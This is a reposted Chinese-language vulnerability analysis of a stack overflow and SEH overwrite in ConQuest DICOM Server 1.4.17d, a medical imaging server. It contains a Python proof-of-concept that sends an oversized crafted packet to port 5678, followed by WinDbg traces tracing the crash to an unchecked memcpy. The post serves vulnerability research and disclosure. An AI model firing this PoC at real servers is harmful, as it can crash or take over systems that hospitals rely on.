

ConQuest DICOM Server 1.4.17d 远程代码执行漏洞
source link: http://www.whereisk0shl.top/post/2019-02-24?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

作者:k0shl 转载请注明出处:https://whereisk0shl.top
这个漏洞比较有意思,首先这个漏洞的软件是一个医学领域的软件,用于医学成像,其次这个软件的协议是自己定义的协议规则,也就是说具体协议字段部分的解析都是自己实现的,因此需要对协议的内容进行一定程度的分析,我在当时分析这个漏洞的时候对协议的分析比较粗浅,如有疏漏望指出。
漏洞说明
DICOM是医疗领域的一个软件,主要用于放射医疗领域,类似于图像传输等等,它可以运行在Windows,Linux和MacOS上,三个平台都存在漏洞。
PoC:
import socket, sys hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48' '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f' '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34' '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e' '\x31\x20\x00\x80\x00') # 33406 bytes buffer = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE buffer += '\x42' * 8 # RCX = 4242424242424242 buffer += '\x43' * 8 # defiler ;] buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444 buffer += '\x45' * 12429 bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde' '\x52\x00\x00\x00') print 'Sending '+str(len(buffer))+' bytes of data!' if len(sys.argv) < 3: print '\nUsage: ' +sys.argv[0]+ ' <target> <port>' print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(17) s.send(hello+buffer+bye) s.close
漏洞复现
它在运行的时候会创建一个Server,会开一个端口,在Windows上是5678端口,DICOM有自己的通信协议,协议目前没有找到格式标准,开头部分如下
.....q....ORTHANC JOXYPOXY!...........................................1.2.840.10008.3.1.1.1 ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
在协议数据包里DATA部分包含畸形字符串的时候,DICOM会由于处理畸形字符串时,没有对数据长度进行有效控制,最后导致调用memcpy的时候将数据拷贝至栈地址空间,最后导致关键指针被覆盖引发异常指针引用,最后通过覆盖SEH结构导致代码执行,下面进行详细分析。
首先5678端口的进程是dgate.exe,windbg附加,发送PoC,程序崩溃。
0:002> g (1db0.f6c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848 eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe *** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe dgate+0x18b6a0: 0058b6a0 8b4804 mov ecx,dword ptr [eax+4] ds:0023:41414145=????????
kb回溯堆栈调用发现看不到之前的调用。
0:002> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 019b98c4 00000000 00000000 00000000 00000000 dgate+0x18b6a0
中断位置所处的函数挺复杂的,就从这个函数入手来看一下到底为什么发生漏洞。
漏洞分析
在程序入口下断点重新跟踪后,发现程序多次命中入口,对漏洞发生前的入口跟踪,发现eax=0x41的时候,离漏洞发生位置最近,而且0x41也是payload的一部分。
0:002> g eax=00000041 ebx=00dfa820 ecx=012b7848 edx=00000001 esi=012b7848 edi=00dfa86c eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x18b570: 0058b570 53 push ebx 0:002> g eax=00000041 ebx=00dfa820 ecx=012b7848 edx=012b6278 esi=012b7848 edi=00dfa86c eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 dgate+0x18b570: 0058b570 53 push ebx 0:002> dd ebx 00dfa820 41414141 00004141 41414141 41414141 00dfa830 41414141 41414141 41414141 41414141 00dfa840 41414141 41414141 41414141 41414141
在离漏洞发生最近的位置通过kb回溯,可以看到之前的函数调用。
0:002> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 012b6240 00591856 012b6278 00004141 012b7888 dgate+0x18b570 012b62c0 005932d3 012b7848 012b7888 012b7848 dgate+0x191856 012b62d8 00594706 012b7820 0065c808 00000000 dgate+0x1932d3 00000000 00000000 00000000 00000000 00000000 dgate+0x194706
在最外层函数下断点,发现在最外层call函数调用的时候,esp栈帧还是正常的栈帧情况,但是如果步过会到达漏洞发生的位置,也就是这个call函数只调用了一次,且esp的值会被覆盖成payload。
0:002> g Breakpoint 0 hit eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888 eip=00594701 esp=019d62e0 ebp=019fff80 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x194701: 00594701 e8baeaffff call dgate+0x1931c0 (005931c0) 0:002> dd esp 019d62e0 019d7848 0065c808 00000000 00000001 019d62f0 0044fc9e 00000070 00000000 00000000 019d6300 0065c808 00000000 00000000 00000000
这样,就在esp当时所处的位置下一个条件断点,这样可以快速定位到是什么时候令栈帧被覆盖的。
0:002> t eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888 eip=005931c0 esp=019d62dc ebp=019fff80 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x1931c0: 005931c0 53 push ebx 0:002> ba w1 019d62dc
下断点后直接执行,发现程序命中在一处rep movs指令,这个指令负责的是内存拷贝,多数都是memcpy。
0:002> g Breakpoint 1 hit eax=018f1170 ebx=00004141 ecx=00000373 edx=00000000 esi=018f03a4 edi=019d62f8 eip=005ba9ca esp=019d6218 ebp=019d6220 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 dgate+0x1ba9ca: 005ba9ca f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:002> dd 019d62dc 019d62dc 41414141 41414141 41414141 41414141 019d62ec 41414141 41414141 41414141 00000000
跟踪005ba9ca这处地址,发现这处地址处于一个memcpy的函数中,负责拷贝的就是payload,所以造成了esp被覆盖。
if ( v12 + v3 > v13 ) { memcpy(v5, (const void *)(v12 + v11[3]), v13 - v12);
而向外回溯的时候发现这个memcpy就处于漏洞发生的函数中,遮掩刚就在这里下一个断点,进行跟踪。
0:002> g Breakpoint 1 hit eax=00002800 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b635 esp=019e6220 ebp=0187a828 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 dgate+0x18b635: 0058b635 2bc1 sub eax,ecx 0:002> p eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b637 esp=019e6220 ebp=0187a828 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x18b637: 0058b637 50 push eax 0:002> p eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b638 esp=019e621c ebp=0187a828 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x18b638: 0058b638 8b460c mov eax,dword ptr [esi+0Ch] ds:0023:0184286c=01c10048 0:002> p eax=01c10048 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b63b esp=019e621c ebp=0187a828 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x18b63b: 0058b63b 03c1 add eax,ecx 0:002> p eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b63d esp=019e621c ebp=0187a828 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 dgate+0x18b63d: 0058b63d 50 push eax 0:002> p eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b63e esp=019e6218 ebp=0187a828 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 dgate+0x18b63e: 0058b63e 55 push ebp 0:002> p eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848 eip=0058b63f esp=019e6214 ebp=0187a828 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 dgate+0x18b63f: 0058b63f e82cf30200 call dgate+0x1ba970 (005ba970) 0:002> dd esp 019e6214 0187a828 01c100b7 00002791 0187a820 019e6224 00007ffc 0187a822 019e7848 0058e968 019e6234 0187a828 00004141 0187a818 019e7848
到达call memcpy调用的时候观察esp的三个参数,其中0x2791代表拷贝的长度,也就是10000+个字节,01c100b7,就是要拷贝的内容,就是我们的payload。
0:002> dc 01c100b7 01c100b7 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 01c100c7 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 01c100d7 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 01c100e7 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
而0187a828就是待拷贝的缓冲区,我们可以看到这个值离ebp的值很近,可以直接覆盖到ebp。这样拷贝结束之后。
0:002> p eax=0187a828 ebx=00004141 ecx=00000000 edx=00000001 esi=01842860 edi=019e7848 eip=0058b644 esp=019e6214 ebp=0187a828 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 dgate+0x18b644: 0058b644 8b4604 mov eax,dword ptr [esi+4] ds:0023:01842864=0000006f 0:002> dd eax 0187a828 41414141 41414141 41414141 41414141 0187a838 41414141 41414141 41414141 41414141 0187a848 41414141 41414141 41414141 41414141 0187a858 41414141 41414141 41414141 41414141 0:002> dd ebp 0187a828 41414141 41414141 41414141 41414141
可以看到ebp的值也被覆盖了,某些关键指针被覆盖,最后引用的时候,会引用到无效指针。
eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848 eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe *** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe dgate+0x18b6a0: 0058b6a0 8b4804 mov ecx,dword ptr [eax+4] ds:0023:41414145=????????
同样,可以利用这种结构直接覆盖到seh结构,最后导致代码执行。这个漏洞发生的原因,就是由于DICOM在接收5678端口处理DICOM自己协议的时候由于对于数据包长度控制不严格,从而导致了某些关键指针被覆盖,最后导致代码执行。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK